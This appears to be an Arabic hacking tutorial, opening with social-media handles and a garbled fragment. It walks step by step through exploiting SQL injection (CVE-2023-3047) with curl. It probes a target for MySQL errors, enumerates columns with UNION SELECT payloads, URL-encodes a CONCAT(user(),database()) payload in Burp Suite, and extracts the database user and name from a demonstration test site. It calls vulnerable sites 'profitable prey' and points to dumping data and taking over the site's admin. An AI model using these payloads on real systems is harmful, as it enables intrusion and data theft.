
@ghostman_s3c أو @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5ثغرة عدم التحييد الصحيح للعناصر الخاصة المستخدمة في أمر SQL (حقن SQL) في TMT Lockcell تسمح بحقن SQL. تؤثر هذه المشكلة على Lockcell: قبل الإصدار 15.
أولاً، سنتحقق مما إذا كان الموقع يعاني من خطأ CVE-2023-3047، الآن افتح الطرفية (Terminal)، وتأكد من أن كل طرفية تدعم أداة cURL
curl <your_url_vulnerable> | grep "at line"
بعد الضغط على Enter، وإذا ظهرت الرسالة مثل 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 فإن موقعك يعاني من خطأ CVE-2023-3047
حسنًا، بعد ذلك سنحاول معرفة ما إذا كان هذا الموقع يحجب هجمات الحقن هذه، جرب استخدام الأمر التالي وجربه
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
واضغط Enter، إذا ظهرت النتيجة مثل الصورة أدناه، فأنت أمام فريسة مربحة
والآن يجب عليك مواصلة حمولة union select من 1 إلى رقم معين يعتبر صالحًا لعدد أعمدة قاعدة بيانات mysql الخاصة بالموقع.
حسنًا، هدفي حصل على عدد أعمدة صالح من 1 إلى 11، في الصورة أدناه، نتيجتان مختلفتان تمامًا، الأعلى لا يزال يحتوي على The used SELECT، والأسفل لا يحتوي عليه.
والآن، سأذهب إلى Google للتحقق ومعرفة ما إذا كانت النتيجة صحيحة مع النتائج أعلاه أم لا، ومناسبًا، سأحصل على رقم آخر يمكنني من خلاله الحصول على المعلومات.
حسنًا، يبدو أنها نتيجة صحيحة تمامًا، وهناك 3 أرقام يمكننا حقنها للحصول على المعلومات منها.
والآن، سنتدرب على حقن أوامر SQL للحصول على المعلومات منها
وسنستخدم الحمولة : +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
أوه، يبدو أن هذا الأمر ليس جيدًا جدًا، لأننا لم نقم بترميز الحمولة في رابط URL
والآن مهمتي هي ترميز تلك الحمولة في مسار URL لمواصلة الهجوم السيبراني
سنستخدم Burp Suite لترميزها
الآن حدد Decoder، ثم حدد Encode as على الجانب الأيسر من الشاشة، ثم حدد URL وأدخل الحمولة الخاصة بك. بالنسبة للخطأ أعلاه، يحتوي على أحرف خاصة مثل : (, ) فيها. ليست كافية لتلبية المتطلبات، لذا سأقوم فقط بترميز الأمر المُدخل للحصول على معلومات قاعدة البيانات
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
وبعد الضغط على Enter، وهنا تنتهي اللعبة، فقد تم كشف اسم المستخدم وقاعدة البيانات، وليس ذلك فحسب، بل يمكن للمخترقين حقن حمولات أخرى للحصول على مزيد من المعلومات منها، على سبيل المثال تفريغ بيانات القاعدة لسرقة المعلومات أو السيطرة على مدير الموقع
إذًا، انتهت اللعبة، اسم المستخدم هو acuart@localhost واسم قاعدة البيانات هو acuart